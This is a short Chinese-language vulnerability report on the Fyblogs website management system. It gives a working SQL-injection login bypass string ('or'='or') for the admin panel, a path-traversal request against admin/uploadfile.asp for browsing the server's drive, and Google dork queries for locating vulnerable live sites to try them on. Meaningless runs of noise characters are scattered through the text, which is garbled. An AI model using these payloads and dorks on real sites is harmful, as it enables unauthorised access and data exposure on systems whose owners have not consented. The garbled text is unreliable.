Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

3 H2 W' |: c# c( J4 a+ t5 q简要描述：

0 B* b% J1 G& N: \Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
0 Z$ r7 w+ B% G& {4 G7 K
详细说明：
( r4 ?0 V! l( d5 O3 t$ G. J( O( P+ U
后台万能密码 'or'='or'
" K- H. [( c: W+ o7 J) f后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
9 B" E1 t0 X8 t: E  D9 w: T/ P, y; fadmin/uploadfile.asp?currentFolder=/upfiles/../
8 l1 f) ~* Y+ A; p$ ]7 s9 ~
漏洞证明：
/ w3 W3 C$ E2 }7 r
, d% b! R3 k$ Y: u" C8 B# L谷歌：inurl:type.asp?id=1 新闻中心
; {' n+ K) u  g/ `. @$ l9 n或者 ：inurl:download_ok.asp?

可以测试
9 e' T' r  R* G3 K  C
​